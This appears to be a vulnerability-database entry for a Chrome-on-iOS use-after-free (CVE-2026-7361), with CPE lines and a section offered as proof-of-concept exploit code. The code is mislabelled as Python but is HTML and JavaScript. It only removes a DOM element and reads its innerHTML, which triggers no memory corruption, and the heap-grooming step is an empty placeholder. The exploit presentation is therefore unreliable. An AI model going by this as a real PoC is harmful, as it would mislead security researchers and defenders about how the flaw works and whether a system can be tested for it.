Use after free in iOS in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome (iOS) < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7361: Use After Free in Chrome iOS
This PoC demonstrates a generic UAF scenario.
-->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CVE-2026-7361 PoC</title>
</head>
<body>
<script>
// Step 1: Create a vulnerable object (simulation)
let vulnObject = document.createElement('div');
document.body.appendChild(vulnObject);
// Step 2: Define a function to trigger the free
function freeObject() {
// Removing the element may trigger internal free depending on implementation
document.body.removeChild(vulnObject);
}
// Step 3: Define a function to reuse the memory
function reuseMemory() {
// Attempt to access the freed object
// In a real exploit, this memory is controlled by the attacker
try {
// Trigger access to the dangling pointer
if (vulnObject.innerHTML) {
console.log("Object still referenced");
}
} catch (e) {
console.log("Exception caught: " + e.message);
}
}
// Execute the sequence
freeObject();
// Force garbage collection or heap grooming here if possible
// ... (heap grooming code would go here)
reuseMemory();
console.log("PoC execution finished.");
</script>
</body>
</html>